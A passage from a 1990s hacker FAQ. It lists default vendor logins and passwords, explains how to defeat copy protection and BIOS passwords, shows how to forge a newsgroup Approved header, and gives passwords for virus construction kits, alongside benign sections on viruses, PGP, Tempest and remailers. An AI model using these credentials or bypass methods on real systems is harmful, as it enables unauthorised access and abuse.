R6, cross your fingers, write protect the drive&lt;br /&gt;and continue the system.  This will hopefully result in indirect blowing&lt;br /&gt;up...  And hopefully the system has not been fully secured.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;SGI Irix&lt;br /&gt;~~~~~~~~&lt;br /&gt;4DGifts         &lt;no password&gt;&lt;br /&gt;guest           &lt;no password&gt;&lt;br /&gt;demos           &lt;no password&gt;&lt;br /&gt;lp              &lt;no password&gt;&lt;br /&gt;nuucp           &lt;no password&gt;&lt;br /&gt;tour            &lt;no password&gt;&lt;br /&gt;tutor           &lt;no password&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;System 75&lt;br /&gt;~~~~~~~~~&lt;br /&gt;bcim            bcimpw&lt;br /&gt;bciim           bciimpw&lt;br /&gt;bcms            bcmspw, bcms&lt;br /&gt;bcnas           bcnspw&lt;br /&gt;blue            bluepw&lt;br /&gt;browse          looker, browsepw&lt;br /&gt;craft           crftpw, craftpw, crack&lt;br /&gt;cust            custpw&lt;br /&gt;enquiry         enquirypw&lt;br /&gt;field           support&lt;br /&gt;inads           indspw, inadspw, inads&lt;br /&gt;init            initpw&lt;br /&gt;kraft           kraftpw&lt;br /&gt;locate          locatepw&lt;br /&gt;maint           maintpw, rwmaint&lt;br /&gt;nms             nmspw&lt;br /&gt;rcust           rcustpw&lt;br /&gt;support         supportpw&lt;br /&gt;tech            field&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Taco Bell&lt;br /&gt;~~~~~~~~~&lt;br /&gt;rgm             rollout&lt;br /&gt;tacobell        &lt;null&gt;&lt;br /&gt;&lt;br /&gt;		  &lt;br /&gt;Verifone Junior 2.05&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;Default password: 166816&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VMS&lt;br /&gt;~~~&lt;br /&gt;field           service&lt;br /&gt;systest         utep&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;XON / XON Junior&lt;br /&gt;~~~~~~~~~~~~~~~~&lt;br /&gt;Default password: 166831&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;24. What port is XXX on?&lt;br /&gt;&lt;br /&gt;The file /etc/services on most Unix machines lists the port&lt;br /&gt;assignments for that machine.  For a complete list of port&lt;br /&gt;assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;25.  What is a trojan/worm/virus/logic bomb?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by Theora:&lt;br /&gt;&lt;br /&gt;Trojan:&lt;br /&gt;&lt;br /&gt;Remember the Trojan Horse?  Bad guys hid inside it until they could&lt;br /&gt;get into the city to do their evil deed.  A trojan computer program is&lt;br /&gt;similar.  It is a program which does an unauthorized function, hidden&lt;br /&gt;inside an authorized program.  It does something other than what it&lt;br /&gt;claims to do, usually something malicious (although not necessarily!),&lt;br /&gt;and it is intended by the author to do whatever it does.  If it's not&lt;br /&gt;intentional, its called a 'bug' or, in some cases, a feature :) Some&lt;br /&gt;virus scanning programs detect some trojans.  Some virus scanning&lt;br /&gt;programs don't detect any trojans.  No virus scanners detect all&lt;br /&gt;trojans.&lt;br /&gt;&lt;br /&gt;Virus:&lt;br /&gt;&lt;br /&gt;A virus is an independent program which reproduces itself.  It may&lt;br /&gt;attach to other programs, it may create copies of itself (as in&lt;br /&gt;companion viruses).  It may damage or corrupt data, change data, or&lt;br /&gt;degrade the performance of your system by utilizing resources such as&lt;br /&gt;memory or disk space.  Some virus scanners detect some viruses.  No&lt;br /&gt;virus scanners detect all viruses.  No virus scanner can protect&lt;br /&gt;against "any and all viruses, known and unknown, now and forevermore".&lt;br /&gt;&lt;br /&gt;Worm:&lt;br /&gt;&lt;br /&gt;Made famous by Robert Morris, Jr. , worms are programs which reproduce&lt;br /&gt;by copying themselves over and over, system to system, using up&lt;br /&gt;resources and sometimes slowing down the systems.  They are self&lt;br /&gt;contained and use the networks to spread, in much the same way viruses&lt;br /&gt;use files to spread.  Some people say the solution to viruses and&lt;br /&gt;worms is to just not have any files or networks.  They are probably&lt;br /&gt;correct.  We would include computers.&lt;br /&gt;&lt;br /&gt;Logic Bomb:&lt;br /&gt;&lt;br /&gt;Code which will trigger a particular form of 'attack' when a&lt;br /&gt;designated condition is met.  For instance, a logic bomb could delete&lt;br /&gt;all files on Dec.  5th.  Unlike a virus, a logic bomb does not make&lt;br /&gt;copies of itself.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;26.  How can I protect myself from viruses and such?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by Theora:&lt;br /&gt;&lt;br /&gt;The most common viruses are boot sector infectors.  You can help protect&lt;br /&gt;yourself against those by write protecting all disks which you do not&lt;br /&gt;need write access to.  Definitely keep a set of write protected floppy&lt;br /&gt;system disks.  If you get a virus, it will make things much simpler.&lt;br /&gt;And, they are good for coasters.  Only kidding.&lt;br /&gt;&lt;br /&gt;Scan all incoming files with a recent copy of a good virus scanner.&lt;br /&gt;Among the best are F-Prot, Dr.  Solomon's Anti-virus Toolkit, and&lt;br /&gt;Thunderbyte Anti-Virus.  AVP is also a good program.  Using more than&lt;br /&gt;one scanner could be helpful.  You may get those one or two viruses that&lt;br /&gt;the other guy happened to miss this month.&lt;br /&gt;&lt;br /&gt;New viruses come out at the rate of about 8 per day now.  NO scanner can&lt;br /&gt;keep up with them all, but the four mentioned here do the best job of&lt;br /&gt;keeping current.  Any _good_ scanner will detect the majority of common&lt;br /&gt;viruses.  No virus scanner will detect all viruses.&lt;br /&gt;&lt;br /&gt;Right now there are about 5600 known viruses.  New ones are written all&lt;br /&gt;the time.  If you use a scanner for virus detection, you need to make&lt;br /&gt;sure you get frequent updates.  If you rely on behavior blockers, you&lt;br /&gt;should know that such programs can be bypassed easily by a technique&lt;br /&gt;known as tunnelling.&lt;br /&gt;&lt;br /&gt;You may want to use integrity checkers as well as scanners.  Keep in&lt;br /&gt;mind that while these can supply added protection, they are not&lt;br /&gt;foolproof.&lt;br /&gt;&lt;br /&gt;You may want to use a particular kind of scanner, called resident&lt;br /&gt;scanners.  Those are programs which stay resident in the computer memory&lt;br /&gt;and constantly monitor program execution (and sometimes even access to&lt;br /&gt;the files containing programs).  If you try to execute a program, the&lt;br /&gt;resident scanner receives control and scans it first for known viruses.&lt;br /&gt;Only if no such viruses are found, the program is allowed to execute.&lt;br /&gt;&lt;br /&gt;Most virus scanners will not protect you against many kinds of trojans,&lt;br /&gt;any sort of logic bombs, or worms.  Theoretically, they _could_ protect&lt;br /&gt;you against logic bombs and/or worms, by addition of scanning strings;&lt;br /&gt;however, this is rarely done.&lt;br /&gt;&lt;br /&gt;The best, actually only way, to protect yourself is to know what you&lt;br /&gt;have on your system and make sure what you have there is authorized by&lt;br /&gt;you.  Make frequent backups of all important files.  Keep your DOS&lt;br /&gt;system files write protected.  Write protect all disks that you do not&lt;br /&gt;need to write to.  If you do get a virus, don't panic.  Call the support&lt;br /&gt;department of the company who supplies your anti-virus product if you&lt;br /&gt;aren't sure of what you are doing.  If the company you got your&lt;br /&gt;anti-virus software from does not have a good technical support&lt;br /&gt;department, change companies.&lt;br /&gt;&lt;br /&gt;The best way to make sure viruses are not spread is not to spread them.&lt;br /&gt;Some people do this intentionally.  We discourage this. Viruses aren't&lt;br /&gt;cool.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;27.  Where can I get more information about viruses?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by Theora:&lt;br /&gt;&lt;br /&gt;Assembly language programming books illustrate the (boring) aspect of&lt;br /&gt;replication and have for a long time.  The most exciting/interesting&lt;br /&gt;thing about viruses is all the controversy around them.  Free speech,&lt;br /&gt;legality, and cute payloads are a lot more interesting than "find first,&lt;br /&gt;find next" calls.  You can get information about the technical aspects&lt;br /&gt;of viruses, as well as help if you should happen to get a virus, from&lt;br /&gt;the virus-l FAQ, posted on comp. virus every so often. You can also pick&lt;br /&gt;up on the various debates there.  There are alt.virus type newsgroups,&lt;br /&gt;but the level of technical expertise is minimal, and so far at least&lt;br /&gt;there has not been a lot of real "help" for people who want to get -rid-&lt;br /&gt;of a virus.&lt;br /&gt;&lt;br /&gt;There are a lot of virus experts.  To become one, just call yourself&lt;br /&gt;one.  Only Kidding.  Understanding viruses involves understanding&lt;br /&gt;programming, operating systems, and their interaction.  Understanding&lt;br /&gt;all of the 'Cult of Virus' business requires a lot of discernment. There&lt;br /&gt;are a number of good papers available on viruses, and the Cult of Virus;&lt;br /&gt;you can get information on them from just about anyone listed in the&lt;br /&gt;virus-l FAQ.  The FTP site ftp.informatik.uni-hamburg.de is a pretty&lt;br /&gt;reliable site for programs and text.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;28. What is Cryptoxxxxxxx?&lt;br /&gt;&lt;br /&gt;This FAQ answer is excerpted from: Computer Security Basics&lt;br /&gt;                                   by Deborah Russell&lt;br /&gt;                                   and G.T. Gengemi Sr.&lt;br /&gt;&lt;br /&gt;A message is called either plaintext or cleartext.  The process of&lt;br /&gt;disguising a message in such a way as to hide its substance is called&lt;br /&gt;encryption.  An encrypted message is called ciphertext.  The process&lt;br /&gt;of turning ciphertext back into plaintext is called decryption.&lt;br /&gt;&lt;br /&gt;The art and science of keeping messages secure is called cryptography,&lt;br /&gt;and it is practiced by cryptographers.  Cryptanalysts are&lt;br /&gt;practitioners of cryptanalysis, the art and science of breaking&lt;br /&gt;ciphertext, i.e. seeing through the disguise.  The branch of&lt;br /&gt;mathematics embodying both cryptography and cryptanalysis is called&lt;br /&gt;cryptology, and it's practitioners are called cryptologists.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;29. What is PGP?&lt;br /&gt;&lt;br /&gt;This FAQ answer is excerpted from: PGP(tm) User's Guide&lt;br /&gt;                                   Volume I: Essential Topics&lt;br /&gt;                                   by Philip Zimmermann&lt;br /&gt;&lt;br /&gt;PGP(tm) uses public-key encryption to protect E-mail and data files.&lt;br /&gt;Communicate securely with people you've never met, with no secure&lt;br /&gt;channels needed for prior exchange of keys.  PGP is well featured and&lt;br /&gt;fast, with sophisticated key management, digital signatures, data&lt;br /&gt;compression, and good ergonomic design.&lt;br /&gt;&lt;br /&gt;Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a&lt;br /&gt;high security cryptographic software application for MS-DOS, Unix,&lt;br /&gt;VAX/VMS, and other computers.  PGP allows people to exchange files or&lt;br /&gt;messages with privacy, authentication, and convenience.  Privacy means&lt;br /&gt;that only those intended to receive a message can read it.&lt;br /&gt;Authentication means that messages that appear to be from a particular&lt;br /&gt;person can only have originated from that person. Convenience means&lt;br /&gt;that privacy and authentication are provided without the hassles of&lt;br /&gt;managing keys associated with conventional cryptographic software.  No&lt;br /&gt;secure channels are needed to exchange keys between users, which makes&lt;br /&gt;PGP much easier to use.  This is because PGP is based on a powerful&lt;br /&gt;new technology called "public key" cryptography.&lt;br /&gt;&lt;br /&gt;PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)&lt;br /&gt;public key cryptosystem with the speed of conventional cryptography,&lt;br /&gt;message digests for digital signatures, data compression before&lt;br /&gt;encryption, good ergonomic design, and sophisticated key management. &lt;br /&gt;And PGP performs the public-key functions faster than most other&lt;br /&gt;software implementations.  PGP is public key cryptography for the&lt;br /&gt;masses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;30. What is Tempest?&lt;br /&gt;&lt;br /&gt;Tempest stands for Transient Electromagnetic Pulse Surveillance&lt;br /&gt;Technology.&lt;br /&gt;&lt;br /&gt;Computers and other electronic equipment release interference to their&lt;br /&gt;surrounding environment.  You may observe this by placing two video&lt;br /&gt;monitors close together.  The pictures will behave erratically until you&lt;br /&gt;space them apart.&lt;br /&gt;&lt;br /&gt;What is important for an observer is the emission of digital pulses (1s&lt;br /&gt;and 0s) as these are used in computers.  The channel for this radiation&lt;br /&gt;is in two arrangements, radiated emissions and conducted emissions.&lt;br /&gt;Radiated emissions are assembled when components in electrical devices&lt;br /&gt;form to act as antennas.  Conducted emissions are formed when radiation&lt;br /&gt;is conducted along cables and wires.&lt;br /&gt;&lt;br /&gt;Although most of the time these emissions are simply annoyances, they&lt;br /&gt;can sometimes be very helpful.  Suppose we wanted to see what project a&lt;br /&gt;target was working on.  We could sit in a van outside her office and use&lt;br /&gt;sensitive electronic equipment to attempt to pick up and decipher the&lt;br /&gt;radiated emissions from her video monitor.  These emissions normally&lt;br /&gt;exist at around 55-245 Mhz and can be picked up as far as one kilometer&lt;br /&gt;away.&lt;br /&gt;&lt;br /&gt;A monitoring device can distinguish between different sources emitting&lt;br /&gt;radiation because the sources emanating the radiation are made up of&lt;br /&gt;dissimilar elements and so this coupled with other factors varies the&lt;br /&gt;emitted frequency.  For example different electronic components in VDUs,&lt;br /&gt;different manufacturing processes involved in reproducing the VDUs,&lt;br /&gt;different line syncs, etc...  By synchronizing our raster with the&lt;br /&gt;targets raster we can passively draw the observed screen in real-time.&lt;br /&gt;This technology can be acquired by anyone, not just government agencies.&lt;br /&gt;&lt;br /&gt;The target could shield the emissions from her equipment or use&lt;br /&gt;equipment that does not generate strong emissions.  However, Tempest&lt;br /&gt;equipment is not legal for civilian use in the United States.&lt;br /&gt;&lt;br /&gt;Tempest is the US Government program for evaluation and endorsement of&lt;br /&gt;electronic equipment that is safe from eavesdropping.  Tempest&lt;br /&gt;certification refers to the equipment having passed a testing phase and&lt;br /&gt;agreeing to emanations rules specified in the government document NACSIM&lt;br /&gt;5100A (Classified).  This document sets forth the emanation levels that&lt;br /&gt;the US Government believes equipment can give off without compromising&lt;br /&gt;the information it is processing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;31. What is an anonymous remailer?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by Raph Levien:&lt;br /&gt;&lt;br /&gt;An anonymous remailer is a system on the Internet that allows you to&lt;br /&gt;send e-mail or post messages to Usenet anonymously.&lt;br /&gt;&lt;br /&gt;There are two sorts of remailers in widespread use.  The first is the&lt;br /&gt;anon.penet.fi style, the second is the cypherpunk style.  The remailer&lt;br /&gt;at anon.penet.fi is immensely popular, with over 160,000 users over its&lt;br /&gt;lifetime, and probably tens of thousands of messages per day.  Its main&lt;br /&gt;advantage is that it's so easy to use.  The cypherpunks mailers, which&lt;br /&gt;provide much better security, are becoming more popular, however, as&lt;br /&gt;there is more awareness of them.&lt;br /&gt;&lt;br /&gt;The user of the anon.penet.fi system first needs to get an anonymous id.&lt;br /&gt;This is done either by sending mail to somebody who already has one (for&lt;br /&gt;example, by replying to a post on Usenet), or sending mail to&lt;br /&gt;ping@anon.penet.fi.  In either case, penet will mail back the new anon&lt;br /&gt;id, which looks like an123456@anon.penet.fi.  If an123456 then sends&lt;br /&gt;mail to another user of the system, then this is what happens:&lt;br /&gt;&lt;br /&gt;1.  The mail is transported to anon.penet.fi, which resides somewhere in&lt;br /&gt;    the vicinity of Espoo, Finland.&lt;br /&gt;&lt;br /&gt;2.  These steps are carried out by software running on anon.penet.fi.&lt;br /&gt;    Penet first looks up the email address of the sender in its&lt;br /&gt;    database, then replaces it with the numeric code.  All other&lt;br /&gt;    information about the sender is removed.&lt;br /&gt;&lt;br /&gt;3.  Then, penet looks up the number of the recipient in the same&lt;br /&gt;    database, and replaces it with the actual email address.&lt;br /&gt;&lt;br /&gt;4.  Finally, it sends the mail to the actual email address of the&lt;br /&gt;    recipient.&lt;br /&gt;&lt;br /&gt;There are variations on this scheme, such as posting to Usenet (in which&lt;br /&gt;step 3 is eliminated), but that's the basic idea.&lt;br /&gt;&lt;br /&gt;Where anon.penet.fi uses a secret database to match anon id's to actual&lt;br /&gt;email addresses, the cypherpunks remailers use cryptography to hide the&lt;br /&gt;actual identities.  Let's say I want to send email to a real email&lt;br /&gt;address, or post it to Usenet, but keep my identity completely hidden.&lt;br /&gt;To send it through one remailer, this is what happens.&lt;br /&gt;&lt;br /&gt;1.  I encrypt the message and the recipient's address, using the public&lt;br /&gt;    key of the remailer of my choice.&lt;br /&gt;&lt;br /&gt;2.  I send the email to the remailer.&lt;br /&gt;&lt;br /&gt;3.  When the remailer gets the mail, it decrypts it using its private&lt;br /&gt;    key, revealing as plaintext the message and the recipient's address.&lt;br /&gt;&lt;br /&gt;4.  All information about the sender is removed.&lt;br /&gt;&lt;br /&gt;5.  Finally, it sends it to the recipient's email address.&lt;br /&gt;&lt;br /&gt;If one trusts the remailer operator, this is good enough.  However, the&lt;br /&gt;whole point of the cypherpunks remailers is that you don't _have_ to&lt;br /&gt;trust any one individual or system.  So, people who want real security&lt;br /&gt;use a chain of remailers.  If any one remailer on the "chain" is honest,&lt;br /&gt;then the privacy of the message is assured.&lt;br /&gt;&lt;br /&gt;To use a chain of remailers, I first have to prepare the message, which&lt;br /&gt;is nestled within multiple layers of encryption, like a Russian&lt;br /&gt;matryoshka doll.  Preparing such a message is tedious and error prone,&lt;br /&gt;so many people use an automated tool such as my premail package.&lt;br /&gt;Anyway, after preparing the message, it is sent to the first remailer in&lt;br /&gt;the chain, which corresponds to the outermost layer of encryption.  Each&lt;br /&gt;remailer strips off one layer of encryption and sends the message to the&lt;br /&gt;next, until it reaches the final remailer.  At this point, only the&lt;br /&gt;innermost layer of encryption remains.  This layer is stripped off,&lt;br /&gt;revealing the plaintext message and recipient for the first time.  At&lt;br /&gt;this point, the message is sent to its actual recipient.&lt;br /&gt;&lt;br /&gt;Remailers exist in many locations.  A typical message might go through&lt;br /&gt;Canada, Holland, Berkeley, and Finland before ending up at its final&lt;br /&gt;location.&lt;br /&gt;&lt;br /&gt;Aside from the difficulty of preparing all the encrypted messages,&lt;br /&gt;another drawback of the cypherpunk remailers is that they don't easily&lt;br /&gt;allow responses to anonymous mail.  All information about the sender is&lt;br /&gt;stripped away, including any kind of return address.  However the new&lt;br /&gt;alias servers promise to change that.  To use an alias server, one&lt;br /&gt;creates a new email address (mine is raph@alpha.c2.org).  Mail sent to&lt;br /&gt;this new address will be untraceably forwarded to one's real address.&lt;br /&gt;&lt;br /&gt;To set this up, one first encrypts one's own email address with multiple&lt;br /&gt;layers of encryption.  Then, using an encrypted channel, one sends the&lt;br /&gt;encrypted address to the alias server, along with the nickname that one&lt;br /&gt;would like.  The alias server registers the encrypted address in the&lt;br /&gt;database.  The alias server then handles reply mail in much the same way&lt;br /&gt;as anon.penet.fi, except that the mail is forwarded to the chain of&lt;br /&gt;anonymous remailers.&lt;br /&gt;&lt;br /&gt;For maximum security, the user can arrange it so that, at each link in&lt;br /&gt;the chain, the remailer adds another layer of encryption to the message&lt;br /&gt;while removing one layer from the email address.  When the user finally&lt;br /&gt;gets the email, it is encrypted in multiple layers.  The matryoshka has&lt;br /&gt;to be opened one doll at a time until the plaintext message hidden&lt;br /&gt;inside is revealed.&lt;br /&gt;&lt;br /&gt;One other point is that the remailers must be reliable in order for all&lt;br /&gt;this to work.  This is especially true when a chain of remailers is used&lt;br /&gt;-- if any one of the remailers is not working, then the message will be&lt;br /&gt;dropped.  This is why I maintain a list of reliable remailers. By&lt;br /&gt;choosing reliable remailers to start with, there is a good chance the&lt;br /&gt;message will finally get there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;32. What are the addresses of some anonymous remailers?&lt;br /&gt;&lt;br /&gt;The most popular and stable anonymous remailer is anon.penet.fi,&lt;br /&gt;operated by Johan Helsingus.  To obtain an anonymous ID, mail&lt;br /&gt;ping@anon.penet.fi.&lt;br /&gt;&lt;br /&gt;The server at anon.penet.fi does it's best to remove any headers or&lt;br /&gt;other information describing its true origin.  You should make an effort&lt;br /&gt;and try to omit information detailing your identity within such messages&lt;br /&gt;as quite often signatures not starting with "--" are including within&lt;br /&gt;your e-mail, this of course is not what you want.  You can send messages&lt;br /&gt;to:&lt;br /&gt;&lt;br /&gt;        anXXX@anon.penet.fi&lt;br /&gt;&lt;br /&gt;Here you are addressing another anonymous user and your E-Mail message&lt;br /&gt;will appear to have originated from anon.penet.fi.&lt;br /&gt;&lt;br /&gt;        alt.security@anon.penet.fi&lt;br /&gt;&lt;br /&gt;Here you are posting an anonymous message to a whole Usenet group and in&lt;br /&gt;this case to alt.security which will be posted at the local site (in&lt;br /&gt;this case Finland).&lt;br /&gt;&lt;br /&gt;        ping@anon.penet.fi&lt;br /&gt;&lt;br /&gt;If you send a message to this address you will be allocated an identity&lt;br /&gt;(assuming you don't already have one).  You can also confirm your&lt;br /&gt;identity here as well.&lt;br /&gt;&lt;br /&gt;You can also set yourself a password, this password helps to&lt;br /&gt;authenticate any messages that you may send.  This password is included&lt;br /&gt;in your outgoing messages, to set a password send E-Mail to&lt;br /&gt;password@anon.penet.fi with your password in the body of your text e.g.:&lt;br /&gt;&lt;br /&gt;        To: password@anon.penet.fi&lt;br /&gt;        Subject:&lt;br /&gt;        TN0_rUlEz&lt;br /&gt;&lt;br /&gt;For more information on this anonymous server send mail to:&lt;br /&gt;&lt;br /&gt;        help@anon.penet.fi&lt;br /&gt;&lt;br /&gt;Anonymous Usenet posting is frowned upon by other users of Usenet groups&lt;br /&gt;claiming their opinions are worthless.  This is because they believe&lt;br /&gt;anonymity is used to shield ones self from attacks from opponents, while&lt;br /&gt;on the other hand it can be used to protect ones self from social&lt;br /&gt;prejudice (or people reporting ones opinions to ones superiors).  Also&lt;br /&gt;if you are thinking this is a useful tool to use to hid against the&lt;br /&gt;authorities then think again, as there was a famous case where a Judge&lt;br /&gt;ordered the administrator of the server to reveal the identity of a&lt;br /&gt;poster.&lt;br /&gt;&lt;br /&gt;To see a comprehensive list on anonymous remailers finger&lt;br /&gt;remailer-list@kiwi.cs.berkeley.edu or point your web browser to&lt;br /&gt;http://www.cs.berkeley.edu/~raph/remailer-list.html.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;33. How do I defeat Copy Protection?&lt;br /&gt;&lt;br /&gt;There are two common methods of defeating copy protection.  The first&lt;br /&gt;is to use a program that removes copy protection.  Popular programs&lt;br /&gt;that do this are CopyIIPC from Central Point Software and CopyWrite&lt;br /&gt;from Quaid Software.  The second method involves patching the copy&lt;br /&gt;protected program.  For popular software, you may be able to locate a&lt;br /&gt;ready made patch.  You can them apply the patch using any hex editor,&lt;br /&gt;such as debug or the Peter Norton's DiskEdit.  If you cannot, you must&lt;br /&gt;patch the software yourself.&lt;br /&gt;&lt;br /&gt;Writing a patch requires a debugger, such as Soft-Ice or Sourcer.  It&lt;br /&gt;also requires some knowledge of assembly language.  Load the protected&lt;br /&gt;program under the debugger and watch for it to check the protection&lt;br /&gt;mechanism.  When it does, change that portion of the code.  The code&lt;br /&gt;can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to&lt;br /&gt;JMP (Jump Unconditionally).  Or the code may simply be replaced with&lt;br /&gt;NOP (No Operation) instructions.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;34. What is 127.0.0.1?&lt;br /&gt;&lt;br /&gt;127.0.0.1 is a loopback network connection.  If you telnet, ftp, etc...&lt;br /&gt;to it you are connected to your own machine.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;35. How do I post to a moderated newsgroup?&lt;br /&gt;&lt;br /&gt;Usenet messages consist of message headers and message bodies.  The&lt;br /&gt;message header tells the news software how to process the message.&lt;br /&gt;Headers can be divided into two types, required and optional. Required&lt;br /&gt;headers are ones like "From" and "Newsgroups."  Without the required&lt;br /&gt;headers, your message will not be posted properly.&lt;br /&gt;&lt;br /&gt;One of the optional headers is the "Approved" header.  To post to a&lt;br /&gt;moderated newsgroup, simply add an Approved header line to your&lt;br /&gt;message header.  The header line should contain the newsgroup&lt;br /&gt;moderators e-mail address.  To see the correct format for your target&lt;br /&gt;newsgroup, save a message from the newsgroup and then look at it using&lt;br /&gt;any text editor.&lt;br /&gt;&lt;br /&gt;A "Approved" header line should look like this:&lt;br /&gt;&lt;br /&gt;Approved: will@gnu.ai.mit.edu&lt;br /&gt;&lt;br /&gt;There cannot not be a blank line in the message header.  A blank line&lt;br /&gt;will cause any portion of the header after the blank line to be&lt;br /&gt;interpreted as part of the message body.&lt;br /&gt;&lt;br /&gt;For more information, read RFC 1036: Standard for Interchange of&lt;br /&gt;USENET messages.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;36. How do I post to Usenet via e-mail?&lt;br /&gt;&lt;br /&gt;Through an e-mail-&gt;Usenet gateway.  Send an a e-mail messages to&lt;br /&gt;&lt;newsgroup&gt;@&lt;servername&gt;.  For example, to post to alt.2600 through&lt;br /&gt;nic.funet.fi, address your mail to alt.2600@nic.funet.fi.&lt;br /&gt;&lt;br /&gt;Here are a few e-mail-&gt;Usenet gateways:&lt;br /&gt;&lt;br /&gt;	group.name@news.demon.co.uk&lt;br /&gt;	group.name@charm.magnus.acs.ohio-state.edu&lt;br /&gt;	group.name@undergrad.math.uwaterloo.ca&lt;br /&gt;	group.name@nic.funet.fi&lt;br /&gt;	group.name.usenet@decwrl.dec.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;37. How do I defeat a BIOS password?&lt;br /&gt;&lt;br /&gt;This depends on what BIOS the machine has.  Common BIOS's include AMI,&lt;br /&gt;Award, IBM and Phoenix.  Numerous other BIOS's do exist, but these are&lt;br /&gt;the most common.&lt;br /&gt;&lt;br /&gt;Some BIOS's allow you to require a password be entered before the system&lt;br /&gt;will boot. Some BIOS's allow you to require a password to be entered&lt;br /&gt;before the BIOS setup may be accessed.&lt;br /&gt;&lt;br /&gt;Every BIOS must store this password information somewhere.  If you are&lt;br /&gt;able to access the machine after it has been booted successfully, you&lt;br /&gt;may be able to view the password.  You must know the memory address&lt;br /&gt;where the password is stored, and the format in which the password is&lt;br /&gt;stored.  Or, you must have a program that knows these things.&lt;br /&gt;&lt;br /&gt;The most common BIOS password attack programs are for Ami BIOS.  Some&lt;br /&gt;password attack programs will return the AMI BIOS password in plain&lt;br /&gt;text, some will return it in ASCII codes, some will return it in scan&lt;br /&gt;codes. This appears to be dependent not just on the password attacker,&lt;br /&gt;but also  on the version of Ami BIOS.&lt;br /&gt;&lt;br /&gt;To obtain Ami BIOS password attackers, ftp to oak.oakland.edu&lt;br /&gt;/simtel/msdos/sysutil/.&lt;br /&gt;&lt;br /&gt;If you cannot access the machine after if has been powered up, it is&lt;br /&gt;still possible to get past the password.  The password is stored in CMOS&lt;br /&gt;memory that is maintained while the PC is powered off by a small&lt;br /&gt;battery, which is attached to the motherboard.  If you remove this&lt;br /&gt;battery, all CMOS information will be lost.  You will need to re-enter&lt;br /&gt;the correct CMOS setup information to use the machine.  The machines&lt;br /&gt;owner or user will most likely be alarmed when it is discovered that the&lt;br /&gt;BIOS password has been deleted.&lt;br /&gt;&lt;br /&gt;On some motherboards, the battery is soldered to the motherboard, making&lt;br /&gt;it difficult to remove.  If this is the case, you have another&lt;br /&gt;alternative.  Somewhere on the motherboard you should find a jumper that&lt;br /&gt;will clear the BIOS password.  If you have the motherboard&lt;br /&gt;documentation, you will know where that jumper is.  If not, the jumper&lt;br /&gt;may be labeled on the motherboard.  If you are not fortunate enough for&lt;br /&gt;either of these to be the case, you may be able to guess which jumper is&lt;br /&gt;the correct jumper.  This jumper is usually standing alone near the&lt;br /&gt;battery.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;38. What is the password for &lt;encrypted file&gt;?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by crypt &lt;crypt@nyongwa.montreal.qc.ca&gt;&lt;br /&gt;&lt;br /&gt; Magazine                        Password&lt;br /&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~&lt;br /&gt; VLAD Magazine Issue #1          vlad&lt;br /&gt; VLAD Magazine Issue #2          vx&lt;br /&gt; VLAD Magazine Issue #3          virus&lt;br /&gt; NuKE InfoJournal Issue #2       514738&lt;br /&gt; NuKE InfoJournal Issue #3       power&lt;br /&gt; NuKE InfoJournal Issue #4       party&lt;br /&gt;&lt;br /&gt; Program&lt;br /&gt; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~    ~~~~~~~~~~~&lt;br /&gt; Sphere Hacker 1.40 &amp; 1.41       theozone&lt;br /&gt; Virus Creation 2000             high level&lt;br /&gt; Virus Construction Lab          Chiba City&lt;br /&gt; Ejecutor Virus Creator          EJECUTOR&lt;br /&gt; Biological Warfare v0.90        lo tek&lt;br /&gt; Biological Warfare v1.00        freak&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;39. Is there any hope of a decompiler that would convert an executable&lt;br /&gt;    program into C/C++ code?&lt;br /&gt;&lt;br /&gt;This FAQ answer is an excerpt from SNIPPETS by Bob Stout.&lt;br /&gt;&lt;br /&gt;Don't hold your breath. Think about it... For a decompiler to work&lt;br /&gt;properly, either 1) every compiler would have to generate substantially&lt;br /&gt;identical code, even with full optimization turned on, or 2) it would&lt;br /&gt;have to recognize the individual output of every compiler's code&lt;br /&gt;generator.&lt;br /&gt;&lt;br /&gt;If the first case were to be correct, there would be no more need for&lt;br /&gt;compiler benchmarks since every one would work the same.  For the second&lt;br /&gt;case to be true would require in immensely complex program that had to&lt;br /&gt;change with every new compiler release.&lt;br /&gt;&lt;br /&gt;OK, so what about specific decompilers for specific compilers - say a&lt;br /&gt;decompiler designed to only work on code generated by, say, BC++ 4.5?&lt;br /&gt;This gets us right back to the optimization issue.  Code written for&lt;br /&gt;clarity and understandability is often inefficient.  Code written for&lt;br /&gt;maximum performance (speed or size) is often cryptic (at best!) Add to&lt;br /&gt;this the fact that all modern compilers have a multitude of optimization&lt;br /&gt;switches to control which optimization techniques to enable and which to&lt;br /&gt;avoid.  The bottom line is that, for a reasonably large, complex source&lt;br /&gt;module, you can get the compiler to produce a number of different object&lt;br /&gt;modules simply by changing your optimization switches, so your&lt;br /&gt;decompiler will also have to be a deoptimizer which can automagically&lt;br 